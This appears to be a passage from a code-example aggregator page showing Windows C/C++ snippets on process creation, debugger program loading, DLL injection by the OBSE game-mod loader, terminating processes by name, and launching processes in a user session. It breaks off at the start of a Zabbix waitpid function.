            HANDLE hThread = OpenThread(THREAD_SUSPEND_RESUME, TRUE, dwThreadId);
            if (hThread) {
                ResumeThread(hThread);
                WaitForSingleObject(hThread, INFINITE);
                CloseHandle(hThread);
            } else {
                debugPrintf("inject: failed to open thread %lu\n", dwThreadId);
            }
            return 0;
        }

        exitCode = 0;
    } else {
        // Start main process thread
        ResumeThread(processInfo.hThread);

        // Wait for it to finish
        WaitForSingleObject(hProcess, INFINITE);

        if (pSharedMem && !pSharedMem->bReplaced) {
            debugPrintf("warning: %s was never used: application probably does not use this API\n", szDll);
        }

        exitCode = ~0;
        GetExitCodeProcess(hProcess, &exitCode);

        CloseHandle(processInfo.hThread);
    }

    CloseHandle(hProcess);

    if (hSemaphore) {
        ReleaseSemaphore(hSemaphore, 1, NULL);
        CloseHandle(hSemaphore);
    }

    return (int)exitCode;
}
Exemple #18
0
/*
 * AccLoadProg - create a new process for debugging
 */
trap_retval ReqProg_load( void )
{
    char            *parm;
    char            *src;
    char            *dst;
    char            *endsrc;
    char            exe_name[PATH_MAX];
    char            ch;
    BOOL            rc;
    int             len;
    MYCONTEXT       con;
    thread_info     *ti;
    HANDLE          handle;
    prog_load_req   *acc;
    prog_load_ret   *ret;
    header_info     hi;
    WORD            stack;
    WORD            version;
    DWORD           pid;
    DWORD           pid_started;
    DWORD           cr_flags;
    char            *buff;
    size_t          nBuffRequired;
    char            *dll_name;
    char            *service_name;
    char            *dll_destination;
    char            *service_parm;

    acc = GetInPtr( 0 );
    ret = GetOutPtr( 0 );
    parm = GetInPtr( sizeof( *acc ) );

    /*
     * reset status variables
     */
    LastExceptionCode = -1;
    DebugString = NULL;
    DebugeeEnded = FALSE;
    RemoveAllThreads();
    FreeLibList();
    DidWaitForDebugEvent = FALSE;
    DebugeePid = 0;
    DebugeeTid = 0;
    SupportingExactBreakpoints = 0;

    /*
     * check if pid is specified
     */
    ParseServiceStuff( parm, &dll_name, &service_name, &dll_destination, &service_parm );
    pid = 0;
    src = parm;

    /*
    //  Just to be really safe!
    */
    nBuffRequired = GetTotalSize() + PATH_MAX + 16;
    buff = LocalAlloc( LMEM_FIXED, nBuffRequired );
    if( buff == NULL ) {
        ret->err = ERROR_NOT_ENOUGH_MEMORY;
        return( sizeof( *ret ) );
    }

    if( *src == '#' ) {
        src++;
        pid = strtoul( src, &endsrc, 16 );
        if( pid == 0 ) {
            pid = -1;
        }
        strcpy( buff, endsrc );
    } else {
        while( isdigit( *src ) ) {
            src++;
        }
        if( *src == 0 && src != parm ) {
            pid = atoi( parm );
        }
    }

    /*
     * get program to debug.  If the user has specified a pid, then
     * skip directly to doing a DebugActiveProcess
     */
    IsWOW = FALSE;
#if !defined( MD_x64 )
    IsDOS = FALSE;
#endif
    if( pid == 0 ) {
        ret->err = FindProgFile( parm, exe_name, NtExtList );
        if( ret->err != 0 ) {
            goto error_exit;
        }

        /*
         * Get type of application
         */
        handle = CreateFile( (LPTSTR)exe_name, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, 0 );
        if( handle == INVALID_HANDLE_VALUE ) {
            ret->err = GetLastError();
            goto error_exit;
        }
        GetFullPathName( exe_name, MAX_PATH, CurrEXEName, NULL );

        /*
         * get the parm list
         */
        if( strchr( CurrEXEName, ' ' ) != NULL ) {
            strcpy( buff, "\"" );
            strcat( buff, CurrEXEName );
            strcat( buff, "\"" );
        } else {
            strcpy( buff, CurrEXEName );
        }
        dst = &buff[strlen( buff )];
        src = parm;
        while( *src != 0 ) {
            ++src;
        }
        // parm layout
        // <--parameters-->0<--program_name-->0<--arguments-->0
        //
        for( len = GetTotalSize() - sizeof( *acc ) - (src - parm) - 1; len > 0; --len ) {
            ch = *src;
            if( ch == 0 ) {
                ch = ' ';
            }
            *dst = ch;
            ++dst;
            ++src;
        }
        *dst = 0;

        cr_flags = DEBUG_ONLY_THIS_PROCESS;

        if( !GetEXEHeader( handle, &hi, &stack ) ) {
            ret->err = GetLastError();
            CloseHandle( handle );
            goto error_exit;
        }
        if( hi.sig == EXE_PE ) {
            if( IS_PE64( hi.u.peh ) ) {
                DebugeeSubsystem = PE64( hi.u.peh ).subsystem;
            } else {
                DebugeeSubsystem = PE32( hi.u.peh ).subsystem;
#if defined( MD_x64 )
                IsWOW = TRUE;
#endif
            }
            if( DebugeeSubsystem == SS_WINDOWS_CHAR ) {
                cr_flags |= CREATE_NEW_CONSOLE;
            }
#if !defined( MD_x64 )
        } else if( hi.sig == EXE_NE ) {
            IsWOW = TRUE;
            /*
             * find out the pid of WOW, if it is already running.
             */
            pVDMEnumProcessWOW( EnumWOWProcessFunc, (LPARAM)&pid );
            if( pid != 0 ) {
                version = LOWORD( GetVersion() );
                if( LOBYTE( version ) == 3 && HIBYTE( version ) < 50 ) {
                    int kill = MessageBox( NULL, TRP_NT_wow_warning, TRP_The_WATCOM_Debugger, MB_APPLMODAL + MB_YESNO );
                    if( kill == IDYES ) {
                        DWORD axs = PROCESS_TERMINATE+STANDARD_RIGHTS_REQUIRED;
                        HANDLE hprocess = OpenProcess( axs, FALSE, pid );

                        if( hprocess != 0 && TerminateProcess( hprocess, 0 ) ) {
                            CloseHandle( hprocess );
                            pid = 0;
                        }
                    }
                } else {
                    cr_flags |= CREATE_SEPARATE_WOW_VDM;
                    pid = 0; // always start a new VDM.
                }
            }
            if( pid != 0 ) {
                ret->err = GetLastError();
                CloseHandle( handle );
                goto error_exit;
            }
        } else {
            IsDOS = TRUE;
#endif
        }
        CloseHandle( handle );
    }

    /*
     * start the debugee
     */
    pid_started = pid;
    if( *dll_name ) {
        strcat( buff, LOAD_PROG_STR_DELIM );
        strcat( buff, LOAD_PROG_STR_DLLNAME );
        strcat( buff, dll_name );
    }
    if( *service_name ) {
        strcat( buff, LOAD_PROG_STR_DELIM );
        strcat( buff, LOAD_PROG_STR_SERVICE );
        strcat( buff, service_name );
    }
    if( *dll_destination ) {
        strcat( buff, LOAD_PROG_STR_DELIM );
        strcat( buff, LOAD_PROG_STR_COPYDIR );
        strcat( buff, dll_destination );
    }
    if( *service_parm ) {
        strcat( buff, LOAD_PROG_STR_DELIM );
        strcat( buff, LOAD_PROG_STR_SERVICEPARM );
        strcat( buff, service_parm );
    }
    ret->err = StartControlThread( buff, &pid_started, cr_flags );
    if( ret->err != 0 ) {
        goto error_exit;
    }
    /*
     * CREATE_PROCESS_DEBUG_EVENT will always be the first debug event.
     * If it is not, then something is horribly wrong.
     */
    rc = MyWaitForDebugEvent();
    if( !rc || ( DebugEvent.dwDebugEventCode != CREATE_PROCESS_DEBUG_EVENT ) || ( DebugEvent.dwProcessId != pid_started ) ) {
        ret->err = GetLastError();
        goto error_exit;
    }
    ProcessInfo.pid = DebugEvent.dwProcessId;
    ProcessInfo.process_handle = DebugEvent.u.CreateProcessInfo.hProcess;
    ProcessInfo.base_addr = DebugEvent.u.CreateProcessInfo.lpBaseOfImage;
    AddProcess( &hi );
    AddThread( DebugEvent.dwThreadId, DebugEvent.u.CreateProcessInfo.hThread, DebugEvent.u.CreateProcessInfo.lpStartAddress );
    DebugeePid = DebugEvent.dwProcessId;
    DebugeeTid = DebugEvent.dwThreadId;
    LastDebugEventTid = DebugEvent.dwThreadId;

#if defined( MD_x86 )
#ifdef WOW
    if( IsWOW ) {
        ret->flags = LD_FLAG_IS_PROT;
        ret->err = 0;
        ret->task_id = DebugeePid;
        /*
         * we use our own CS and DS as the Flat CS and DS, for lack
         * of anything better
         */
        FlatDS = GetDS();
        FlatCS = GetCS();
        if( !executeUntilVDMStart() ) {
            ret->err = GetLastError();
            goto error_exit;
        }
        if( pid ) {
            addAllWOWModules();
        } else {
            addKERNEL();
        }
        /*
         * we save the starting CS:IP of the WOW app, since we will use
         * it to force execution of code later
         */
        ti = FindThread( DebugeeTid );
        MyGetThreadContext( ti, &con );
        WOWAppInfo.segment = ( WORD ) con.SegCs;
        WOWAppInfo.offset = ( WORD ) con.Eip;
        con.SegSs = con.SegDs; // Wow lies about the stack segment.  Reset it
        con.Esp = stack;
        MySetThreadContext( ti, &con );
    } else if( IsDOS ) {
        // TODO! Clean up this code
        ret->flags = 0; //LD_FLAG_IS_PROT;
        ret->err = 0;
        ret->task_id = DebugeePid;
        /*
         * we use our own CS and DS as the Flat CS and DS, for lack
         * of anything better
         */
        FlatDS = GetDS();
        FlatCS = GetCS();
        if( !executeUntilVDMStart() ) {
            ret->err = GetLastError();
            goto error_exit;
        }
#if 0
        if( pid ) {
            addAllWOWModules();
        } else {
            addKERNEL();
        }
#endif
        /*
         * we save the starting CS:IP of the WOW app, since we will use
         * it to force execution of code later
         */
        ti = FindThread( DebugeeTid );
        MyGetThreadContext( ti, &con );
        WOWAppInfo.segment = ( WORD )con.SegCs;
        WOWAppInfo.offset = ( WORD )con.Eip;
        con.SegSs = con.SegDs; // Wow lies about the stack segment.  Reset it
        con.Esp = stack;
        MySetThreadContext( ti, &con );
    } else {
#else
    {
#endif
#else
    {
#endif
        LPVOID base;

        if( pid == 0 ) {
            base = (LPVOID)DebugEvent.u.CreateProcessInfo.lpStartAddress;
        } else {
            base = 0;
        }

        ret->flags = LD_FLAG_IS_PROT;
        ret->err = 0;
        ret->task_id = DebugeePid;
        if( executeUntilStart( pid != 0 ) ) {
            LPVOID old;
            /*
             * make the application load our DLL, so that we can have it
             * run code out of it.  One small note: this will not work right
             * if the app does not load our DLL at the same address the
             * debugger loaded it at!!!
             */

            ti = FindThread( DebugeeTid );
            MyGetThreadContext( ti, &con );
            old = (LPVOID)AdjustIP( &con, 0 );
            if( base != 0 ) {
                SetIP( &con, base );
            }
            MySetThreadContext( ti, &con );
            SetIP( &con, old );
            MySetThreadContext( ti, &con );
        }
        ti = FindThread( DebugeeTid );
        MyGetThreadContext( ti, &con );
#if defined( MD_x86 )
        FlatCS = con.SegCs;
        FlatDS = con.SegDs;
#endif
        ret->flags |= LD_FLAG_IS_BIG;
    }
    ret->flags |= LD_FLAG_HAVE_RUNTIME_DLLS;
    if( pid != 0 ) {
        ret->flags |= LD_FLAG_IS_STARTED;
    }
    ret->mod_handle = 0;

error_exit:
    if( buff != NULL ) {
        LocalFree( buff );
    }
    return( sizeof( *ret ) );

}

trap_retval ReqProg_kill( void )
{
    prog_kill_ret   *ret;

    ret = GetOutPtr( 0 );
    ret->err = 0;
    DelProcess( TRUE );
    StopControlThread();
    return( sizeof( *ret ) );
}
Exemple #19
0
int main(int argc, char ** argv)
{
	gLog.SetPrintLevel(IDebugLog::kLevel_Error);
	gLog.SetLogLevel(IDebugLog::kLevel_DebugMessage);

	if(!g_options.Read(argc, argv))
	{
		PrintError("Couldn't read arguments.");
		g_options.PrintUsage();

		return -1;
	}

	if(g_options.m_optionsOnly)
	{
		g_options.PrintUsage();
		return 0;
	}

	if(g_options.m_launchCS)
		_MESSAGE("launching editor");

	if(g_options.m_loadOldblivion)
		_MESSAGE("loading oldblivion");

	// create the process
	STARTUPINFO			startupInfo = { 0 };
	PROCESS_INFORMATION	procInfo = { 0 };
	bool				dllHasFullPath = false;

	startupInfo.cb = sizeof(startupInfo);

	const char	* procName = g_options.m_launchCS ? "TESConstructionSet.exe" : "Oblivion.exe";
	const char	* baseDllName = g_options.m_launchCS ? "obse_editor" : "obse";

	if(g_options.m_altEXE.size())
	{
		procName = g_options.m_altEXE.c_str();
		_MESSAGE("launching alternate exe (%s)", procName);
	}

	if(g_options.m_altDLL.size())
	{
		baseDllName = g_options.m_altDLL.c_str();
		_MESSAGE("launching alternate dll (%s)", baseDllName);

		dllHasFullPath = true;
	}

	std::string		dllSuffix;
	ProcHookInfo	procHookInfo;

	if(!TestChecksum(procName, &dllSuffix, &procHookInfo))
	{
		_ERROR("checksum not found");
		return -1;
	}

	if(procHookInfo.steamVersion)
	{
		// ### maybe check for the loader DLL and just CreateProcess("oblivion.exe") if we can?
		PrintError("You are trying to use a Steam version of Oblivion. Steam users should launch the game through Steam, not by running obse_loader.exe. If OBSE fails to load, go to Steam > Settings > In Game and check the box marked \"Enable Steam community in game\". Please see the instructions in obse_readme.txt for more information.");
		return 0;
	}

	if(g_options.m_crcOnly)
		return 0;

	// build dll path
	std::string	dllPath;
	if(dllHasFullPath)
	{
		dllPath = baseDllName;
	}
	else
	{
		dllPath = GetCWD() + "\\" + baseDllName + "_" + dllSuffix + ".dll";
	}

	_MESSAGE("dll = %s", dllPath.c_str());

	// check to make sure the dll exists
	{
		IFileStream	tempFile;

		if(!tempFile.Open(dllPath.c_str()))
		{
			PrintError("Couldn't find OBSE DLL (%s). Please make sure you have installed OBSE correctly and are running it from your Oblivion folder.", dllPath.c_str());
			return -1;
		}
	}

	bool result = CreateProcess(
		procName,
		NULL,	// no args
		NULL,	// default process security
		NULL,	// default thread security
		TRUE,	// don't inherit handles
		CREATE_SUSPENDED,
		NULL,	// no new environment
		NULL,	// no new cwd
		&startupInfo, &procInfo) != 0;

	// check for Vista failing to create the process due to elevation requirements
	if(!result && (GetLastError() == ERROR_ELEVATION_REQUIRED))
	{
		// in theory we could figure out how to UAC-prompt for this process and then run CreateProcess again, but I have no way to test code for that
		PrintError("Vista has decided that launching Oblivion requires UAC privilege elevation. There is no good reason for this to happen, but to fix it, right-click on obse_loader.exe, go to Properties, pick the Compatibility tab, then turn on \"Run this program as an administrator\".");
		return -1;
	}
	
	ASSERT_STR_CODE(result, "Launching Oblivion failed", GetLastError());

	if(g_options.m_setPriority)
	{
		if(!SetPriorityClass(procInfo.hProcess, g_options.m_priority))
			_WARNING("couldn't set process priority");
	}

	result = false;

	if(g_options.m_launchCS)
	{
		if(g_options.m_oldInject)
		{
			_MESSAGE("using old editor injection method");

			// start the process
			ResumeThread(procInfo.hThread);

			// CS needs to run its crt0 code before the DLL is attached, this delays until the message pump is running
			// note that this method makes it impossible to patch the startup code

			// this is better than Sleep(1000) but still ugly
			WaitForInputIdle(procInfo.hProcess, 1000 * 10);

			// too late if this fails
			result = InjectDLL(&procInfo, dllPath.c_str(), !g_options.m_noSync);
			if(!result)
				PrintError("Couldn't inject dll.");
		}
		else
		{
			_MESSAGE("using new editor injection method");

			result = DoInjectDLL_New(&procInfo, dllPath.c_str(), &procHookInfo);
			if(!result)
				PrintError("Couldn't inject dll.");

			// start the process either way
			ResumeThread(procInfo.hThread);
		}
	}
	else
	{
		result = InjectDLL(&procInfo, dllPath.c_str(), !g_options.m_noSync);
		if(result)
		{
			// try to load oldblivion if requested
			if(g_options.m_loadOldblivion)
			{
				result = LoadOldblivion(&procInfo);
				if(!result)
					PrintError("Couldn't load oldblivion.");
			}
		}
		else
			PrintError("Couldn't inject dll.");
		
		if(result)
		{
			_MESSAGE("launching oblivion");

			// start the process
			ResumeThread(procInfo.hThread);
		}
		else
		{
			_ERROR("terminating oblivion process");

			// kill the partially-created process
			TerminateProcess(procInfo.hProcess, 0);

			g_options.m_waitForClose = false;
		}
	}

	// wait for the process to close if requested
	if(g_options.m_waitForClose)
	{
		WaitForSingleObject(procInfo.hProcess, INFINITE);
	}

	// clean up
	CloseHandle(procInfo.hProcess);
	CloseHandle(procInfo.hThread);

	return 0;
}
Exemple #20
0
void xrDebug::do_exit	(const std::string &message)
{
	FlushLog			();
    MessageBox			(NULL,message.c_str(),"Error",MB_OK|MB_ICONERROR|MB_SYSTEMMODAL);
    TerminateProcess	(GetCurrentProcess(),1);
}
Exemple #21
0
int KILL_PROC_BY_NAME(const TCHAR *szToTerminate)
// Created: 6/23/2000  (RK)
// Last modified: 3/10/2002  (RK)
// Please report any problems or bugs to [email protected]
// The latest version of this routine can be found at:
//     http://www.neurophys.wisc.edu/ravi/software/killproc/
// Terminate the process "szToTerminate" if it is currently running
// This works for Win/95/98/ME and also Win/NT/2000/XP
// The process name is case-insensitive, i.e. "notepad.exe" and "NOTEPAD.EXE"
// will both work (for szToTerminate)
// Return codes are as follows:
//   0   = Process was successfully terminated
//   603 = Process was not currently running
//   604 = No permission to terminate process
//   605 = Unable to load PSAPI.DLL
//   602 = Unable to terminate process for some other reason
//   606 = Unable to identify system type
//   607 = Unsupported OS
//   632 = Invalid process name
//   700 = Unable to get procedure address from PSAPI.DLL
//   701 = Unable to get process list, EnumProcesses failed
//   702 = Unable to load KERNEL32.DLL
//   703 = Unable to get procedure address from KERNEL32.DLL
//   704 = CreateToolhelp32Snapshot failed
// Change history:
//   modified 3/8/2002  - Borland-C compatible if BORLANDC is defined as
//                        suggested by Bob Christensen
//   modified 3/10/2002 - Removed memory leaks as suggested by
//					      Jonathan Richard-Brochu (handles to Proc and Snapshot
//                        were not getting closed properly in some cases)
{
	BOOL bResult,bResultm;
	DWORD aiPID[1000],iCb=1000,iNumProc,iV2000=0;
	DWORD iCbneeded,i,iFound=0;
	TCHAR szName[MAX_PATH],szToTermUpper[MAX_PATH];
	HANDLE hProc,hSnapShot,hSnapShotm;
	OSVERSIONINFO osvi;
	HINSTANCE hInstLib;
	int iLen,iLenP,indx;
	HMODULE hMod;
	PROCESSENTRY32 procentry;      
	MODULEENTRY32 modentry;

	// Transfer Process name into "szToTermUpper" and
	// convert it to upper case
	iLenP=(int)wcslen(szToTerminate);
	if(iLenP<1 || iLenP>MAX_PATH) return 632;
	for(indx=0;indx<iLenP;indx++)
		szToTermUpper[indx]=toupper(szToTerminate[indx]);
	szToTermUpper[iLenP]=0;

	// PSAPI Function Pointers.
	BOOL (WINAPI *lpfEnumProcesses)( DWORD *, DWORD cb, DWORD * );
	BOOL (WINAPI *lpfEnumProcessModules)( HANDLE, HMODULE *,
		DWORD, LPDWORD );
	DWORD (WINAPI *lpfGetModuleBaseName)( HANDLE, HMODULE,
		LPTSTR, DWORD );

	// ToolHelp Function Pointers.
	HANDLE (WINAPI *lpfCreateToolhelp32Snapshot)(DWORD,DWORD) ;
	BOOL (WINAPI *lpfProcess32First)(HANDLE,LPPROCESSENTRY32) ;
	BOOL (WINAPI *lpfProcess32Next)(HANDLE,LPPROCESSENTRY32) ;
	BOOL (WINAPI *lpfModule32First)(HANDLE,LPMODULEENTRY32) ;
	BOOL (WINAPI *lpfModule32Next)(HANDLE,LPMODULEENTRY32) ;

	// First check what version of Windows we're in
	osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
	bResult=GetVersionEx(&osvi);
	if(!bResult)     // Unable to identify system version
		return 606;

	// At Present we only support Win/NT/2000/XP or Win/9x/ME
	if((osvi.dwPlatformId != VER_PLATFORM_WIN32_NT) &&
		(osvi.dwPlatformId != VER_PLATFORM_WIN32_WINDOWS))
		return 607;

	if(osvi.dwPlatformId==VER_PLATFORM_WIN32_NT)
	{
		// Win/NT or 2000 or XP

		// Load library and get the procedures explicitly. We do
		// this so that we don't have to worry about modules using
		// this code failing to load under Windows 9x, because
		// it can't resolve references to the PSAPI.DLL.
		hInstLib = LoadLibraryA("PSAPI.DLL");
		if(hInstLib == NULL)
			return 605;

		// Get procedure addresses.
		lpfEnumProcesses = (BOOL(WINAPI *)(DWORD *,DWORD,DWORD*))
			GetProcAddress( hInstLib, "EnumProcesses" ) ;
		lpfEnumProcessModules = (BOOL(WINAPI *)(HANDLE, HMODULE *,
			DWORD, LPDWORD)) GetProcAddress( hInstLib,
			"EnumProcessModules" ) ;
		lpfGetModuleBaseName =(DWORD (WINAPI *)(HANDLE, HMODULE,
			LPTSTR, DWORD )) GetProcAddress( hInstLib,
			"GetModuleBaseNameW" ) ;

		if(lpfEnumProcesses == NULL ||
			lpfEnumProcessModules == NULL ||
			lpfGetModuleBaseName == NULL)
		{
			FreeLibrary(hInstLib);
			return 700;
		}

		bResult=lpfEnumProcesses(aiPID,iCb,&iCbneeded);
		if(!bResult)
		{
			// Unable to get process list, EnumProcesses failed
			FreeLibrary(hInstLib);
			return 701;
		}

		// How many processes are there?
		iNumProc=iCbneeded/sizeof(DWORD);

		// Get and match the name of each process
		for(i=0;i<iNumProc;i++)
		{
			// Get the (module) name for this process

			wcscpy_s(szName,L"Unknown");
			// First, get a handle to the process
			hProc=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,
				aiPID[i]);
			// Now, get the process name
			if(hProc)
			{
				if(lpfEnumProcessModules(hProc,&hMod,sizeof(hMod),&iCbneeded) )
				{
					iLen=lpfGetModuleBaseName(hProc,hMod,szName,MAX_PATH);
				}
			}
			CloseHandle(hProc);
			// We will match regardless of lower or upper case
#ifdef BORLANDC
			if(strcmp(strupr(szName),szToTermUpper)==0)
#else
			if(wcscmp(_wcsupr(szName),szToTermUpper)==0)
#endif
			{
				// Process found, now terminate it
				iFound=1;
				// First open for termination
				hProc=OpenProcess(PROCESS_TERMINATE,FALSE,aiPID[i]);
				if(hProc)
				{
					if(TerminateProcess(hProc,0))
					{
						// process terminated
						CloseHandle(hProc);
						FreeLibrary(hInstLib);
						return 0;
					}
					else
					{
						// Unable to terminate process
						CloseHandle(hProc);
						FreeLibrary(hInstLib);
						return 602;
					}
				}
				else
				{
					// Unable to open process for termination
					FreeLibrary(hInstLib);
					return 604;
				}
			}
		}
	}

	if(osvi.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS)
	{
		// Win/95 or 98 or ME

		hInstLib = LoadLibraryA("Kernel32.DLL");
		if( hInstLib == NULL )
			return 702;

		// Get procedure addresses.
		// We are linking to these functions of Kernel32
		// explicitly, because otherwise a module using
		// this code would fail to load under Windows NT,
		// which does not have the Toolhelp32
		// functions in the Kernel 32.
		lpfCreateToolhelp32Snapshot=
			(HANDLE(WINAPI *)(DWORD,DWORD))
			GetProcAddress( hInstLib,
			"CreateToolhelp32Snapshot" ) ;
		lpfProcess32First=
			(BOOL(WINAPI *)(HANDLE,LPPROCESSENTRY32))
			GetProcAddress( hInstLib, "Process32First" ) ;
		lpfProcess32Next=
			(BOOL(WINAPI *)(HANDLE,LPPROCESSENTRY32))
			GetProcAddress( hInstLib, "Process32Next" ) ;
		lpfModule32First=
			(BOOL(WINAPI *)(HANDLE,LPMODULEENTRY32))
			GetProcAddress( hInstLib, "Module32First" ) ;
		lpfModule32Next=
			(BOOL(WINAPI *)(HANDLE,LPMODULEENTRY32))
			GetProcAddress( hInstLib, "Module32Next" ) ;
		if( lpfProcess32Next == NULL ||
			lpfProcess32First == NULL ||
			lpfModule32Next == NULL ||
			lpfModule32First == NULL ||
			lpfCreateToolhelp32Snapshot == NULL )
		{
			FreeLibrary(hInstLib);
			return 703;
		}

		// The Process32.. and Module32.. routines return names in all uppercase

		// Get a handle to a Toolhelp snapshot of all the systems processes.

		hSnapShot = lpfCreateToolhelp32Snapshot(
			TH32CS_SNAPPROCESS, 0 ) ;
		if( hSnapShot == INVALID_HANDLE_VALUE )
		{
			FreeLibrary(hInstLib);
			return 704;
		}

		// Get the first process' information.
		procentry.dwSize = sizeof(PROCESSENTRY32);
		bResult=lpfProcess32First(hSnapShot,&procentry);

		// While there are processes, keep looping and checking.
		while(bResult)
		{
			// Get a handle to a Toolhelp snapshot of this process.
			hSnapShotm = lpfCreateToolhelp32Snapshot(
				TH32CS_SNAPMODULE, procentry.th32ProcessID) ;
			if( hSnapShotm == INVALID_HANDLE_VALUE )
			{
				CloseHandle(hSnapShot);
				FreeLibrary(hInstLib);
				return 704;
			}
			// Get the module list for this process
			modentry.dwSize=sizeof(MODULEENTRY32);
			bResultm=lpfModule32First(hSnapShotm,&modentry);

			// While there are modules, keep looping and checking
			while(bResultm)
			{
				if(wcscmp(modentry.szModule,szToTermUpper)==0)
				{
					// Process found, now terminate it
					iFound=1;
					// First open for termination
					hProc=OpenProcess(PROCESS_TERMINATE,FALSE,procentry.th32ProcessID);
					if(hProc)
					{
						if(TerminateProcess(hProc,0))
						{
							// process terminated
							CloseHandle(hSnapShotm);
							CloseHandle(hSnapShot);
							CloseHandle(hProc);
							FreeLibrary(hInstLib);
							return 0;
						}
						else
						{
							// Unable to terminate process
							CloseHandle(hSnapShotm);
							CloseHandle(hSnapShot);
							CloseHandle(hProc);
							FreeLibrary(hInstLib);
							return 602;
						}
					}
					else
					{
						// Unable to open process for termination
						CloseHandle(hSnapShotm);
						CloseHandle(hSnapShot);
						FreeLibrary(hInstLib);
						return 604;
					}
				}
				else
				{  // Look for next modules for this process
					modentry.dwSize=sizeof(MODULEENTRY32);
					bResultm=lpfModule32Next(hSnapShotm,&modentry);
				}
			}

			//Keep looking
			CloseHandle(hSnapShotm);
			procentry.dwSize = sizeof(PROCESSENTRY32);
			bResult = lpfProcess32Next(hSnapShot,&procentry);
		}
		CloseHandle(hSnapShot);
	}
	if(iFound==0)
	{
		FreeLibrary(hInstLib);
		return 603;
	}
	FreeLibrary(hInstLib);
	return 0;
}
Exemple #22
0
BOOL CreateInteractiveProcess(DWORD dwSessionId,
                              PWSTR pszCommandLine, 
                              BOOL fWait, 
                              DWORD dwTimeout, 
                              DWORD *pExitCode)
{
    DWORD dwError = ERROR_SUCCESS;
    HANDLE hToken = NULL;
    LPVOID lpvEnv = NULL;
    wchar_t szUserProfileDir[MAX_PATH];
    DWORD cchUserProfileDir = ARRAYSIZE(szUserProfileDir);
    STARTUPINFO si = { sizeof(si) };
    PROCESS_INFORMATION pi = { 0 };
    DWORD dwWaitResult;

    // Obtain the primary access token of the logged-on user specified by the 
    // session ID.
    if (!WTSQueryUserToken(dwSessionId, &hToken))
    {
        dwError = GetLastError();
        goto Cleanup;
    }

    // Run the command line in the session that we found by using the default 
    // values for working directory and desktop.

    // This creates the default environment block for the user.
    if (!CreateEnvironmentBlock(&lpvEnv, hToken, TRUE))
    {
        dwError = GetLastError();
        goto Cleanup;
    }

    // Retrieve the path to the root directory of the user's profile.
    if (!GetUserProfileDirectory(hToken, szUserProfileDir, 
        &cchUserProfileDir))
    {
        dwError = GetLastError();
        goto Cleanup;
    }

    // Specify that the process runs in the interactive desktop.
    si.lpDesktop = L"winsta0\\default";

    // Launch the process.
    if (!CreateProcessAsUser(hToken, NULL, pszCommandLine, NULL, NULL, FALSE, 
        CREATE_UNICODE_ENVIRONMENT, lpvEnv, szUserProfileDir, &si, &pi))
    {
        dwError = GetLastError();
        goto Cleanup;
    }

    if (fWait)
    {
        // Wait for the exit of the process.
        dwWaitResult = WaitForSingleObject(pi.hProcess, dwTimeout);
        if (dwWaitResult == WAIT_OBJECT_0)
        {
            // If the process exits before timeout, get the exit code.
            GetExitCodeProcess(pi.hProcess, pExitCode);
        }
        else if (dwWaitResult == WAIT_TIMEOUT)
        {
            // If it times out, terminiate the process.
            TerminateProcess(pi.hProcess, IDTIMEOUT);
            *pExitCode = IDTIMEOUT;
        }
        else
        {
            dwError = GetLastError();
            goto Cleanup;
        }
    }
    else
    {
        *pExitCode = IDASYNC;
    }

Cleanup:

    // Centralized cleanup for all allocated resources.
    if (hToken)
    {
        CloseHandle(hToken);
        hToken = NULL;
    }
    if (lpvEnv)
    {
        DestroyEnvironmentBlock(lpvEnv);
        lpvEnv = NULL;
    }
    if (pi.hProcess)
    {
        CloseHandle(pi.hProcess);
        pi.hProcess = NULL;
    }
    if (pi.hThread)
    {
        CloseHandle(pi.hThread);
        pi.hThread = NULL;
    }

    // Set the last error if something failed in the function.
    if (dwError != ERROR_SUCCESS)
    {
        SetLastError(dwError);
        return FALSE;
    }
    else
    {
        return TRUE;
    }
}
Exemple #23
0
/* Start a subprocess with run_command_redirected and register it with the
   termination handler. Takes care of o.shellexec. Returns the PID of the
   subprocess or -1 on error. */
static int start_subprocess(char *cmdexec, struct subprocess_info *info)
{
    char *cmdbuf;
    int pid;

    if (o.execmode == EXEC_SHELL) {
        /* Run with cmd.exe. */
        const char *shell;
        size_t cmdlen;

        shell = get_shell();
        cmdlen = strlen(shell) + strlen(cmdexec) + 32;
        cmdbuf = (char *) safe_malloc(cmdlen);
        Snprintf(cmdbuf, cmdlen, "%s /C %s", shell, cmdexec);
#ifdef HAVE_LUA
    } else if (o.execmode == EXEC_LUA) {
        char exepath[8192];
        char *cmdexec_escaped, *exepath_escaped;
        int n;

        n = GetModuleFileName(GetModuleHandle(0), exepath, sizeof(exepath));
        if (n == 0 || n == sizeof(exepath))
            return -1;

        cmdexec_escaped = escape_windows_command_arg(cmdexec);
        if (cmdexec_escaped == NULL)
            return -1;

        exepath_escaped = escape_windows_command_arg(exepath);
        if (exepath_escaped == NULL) {
            free(cmdexec_escaped);
            return -1;
        }

        n = asprintf(&cmdbuf, "%s --lua-exec-internal %s", exepath_escaped, cmdexec_escaped);
        free(cmdexec_escaped);
        free(exepath_escaped);
        if (n < 0)
            return -1;
#endif
    } else {
        cmdbuf = cmdexec;
    }

    if (o.debug)
        logdebug("Executing: %s\n", cmdbuf);

    pid = run_command_redirected(cmdbuf, info);

    if (cmdbuf != cmdexec)
        free(cmdbuf);

    if (pid == -1)
        return -1;

    if (register_subprocess(info->proc) == -1) {
        if (o.verbose)
            logdebug("Couldn't register subprocess with termination handler; not executing.\n");
        TerminateProcess(info->proc, 2);
        subprocess_info_close(info);
        return -1;
    }

    return pid;
}
Exemple #24
0
// Clean up for when application quits
void application_exit()
{
    TerminateProcess(process_information.hProcess,0);
    CloseHandle(process_information.hProcess);
    CloseHandle(process_information.hThread);
}
Exemple #25
0
/******************************************************************************
 *                                                                            *
 * Function: zbx_waitpid                                                      *
 *                                                                            *
 * Purpose: this function waits for process to change state                   *
 *                                                                            *
 * Parameters: pid     - [IN] child process PID                               *
 *                                                                            *
 * Return value: on success, PID is returned. On error,                       *
 *               -1 is returned, and errno is set appropriately               *
 *                                                                            *
 * Author: Alexander Vladishev                                                *
 *                                                                            *
 ******************************************************************************/
static int	zbx_waitpid(pid_t pid)
{
	const char	*__function_name = "zbx_waitpid";
	int		rc, status;

	zabbix_log(LOG_LEVEL_DEBUG, "In %s()", __function_name);

	do
	{
#ifdef WCONTINUED
		static int	wcontinued = WCONTINUED;
retry:
